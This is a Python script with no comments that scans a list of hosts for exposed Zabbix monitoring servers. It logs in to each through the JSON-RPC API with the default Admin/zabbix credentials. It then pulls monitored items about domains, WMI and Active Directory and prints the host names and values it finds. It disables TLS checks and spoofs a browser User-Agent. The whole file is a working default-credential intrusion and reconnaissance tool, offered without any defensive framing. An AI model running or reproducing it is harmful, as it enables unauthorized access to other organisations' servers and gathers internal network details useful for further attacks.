import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        txt = await r.content.read(4000000)
        try:
            return json.loads(txt)
        except Exception:
            return {"_raw": txt[:120].decode("utf-8", "replace")}


async def call(sess, url, method, params, tok, bearer):
    j = await rpc(sess, url, method, params, tok, bearer)
    if "error" in j or "_raw" in j:
        j2 = await rpc(sess, url, method, params, tok, not bearer)
        if "error" not in j2 and "_raw" not in j2:
            return j2
    return j


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    bearer = ver[:1] in "78"
    tag = "%s:%s%s" % (ip, port, path)
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return None
            found = []
            for flt in ({"search": {"key_": "domain"}}, {"search": {"name": "domain"}},
                        {"search": {"key_": "wmi.get"}}, {"search": {"key_": "active.dir"}}):
                p = {"output": ["hostid", "key_", "lastvalue"], "limit": 60}
                p.update(flt)
                j = await call(sess, url, "item.get", p, tok, bearer)
                for it in (j.get("result") or []):
                    lv = str(it.get("lastvalue") or "").strip()
                    if lv and lv not in ("0", "-1"):
                        found.append((it.get("hostid"), it.get("key_", "")[:60], lv[:80]))
            if not found:
                return None
            hids = list({x[0] for x in found})
            j = await call(sess, url, "host.get", {"output": ["hostid", "host"], "hostids": hids}, tok, bearer)
            names = {h["hostid"]: h["host"] for h in (j.get("result") or [])}
            seen = set()
            out = []
            for hid, key, val in found:
                k = (names.get(hid, hid), key, val)
                if k in seen:
                    continue
                seen.add(k)
                out.append("%s %s=%s" % (names.get(hid, hid), key, val))
                if len(out) >= 6:
                    break
            return "%s :: %s" % (tag, " ;; ".join(out))
    except Exception as e:
        return "%s ERR %s" % (tag, type(e).__name__)


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4:
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(8)
    to = aiohttp.ClientTimeout(total=40, connect=6, sock_read=35)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for r in rows:
            res = await one(s, sem, *r)
            if res:
                print(res, flush=True)


asyncio.run(main())
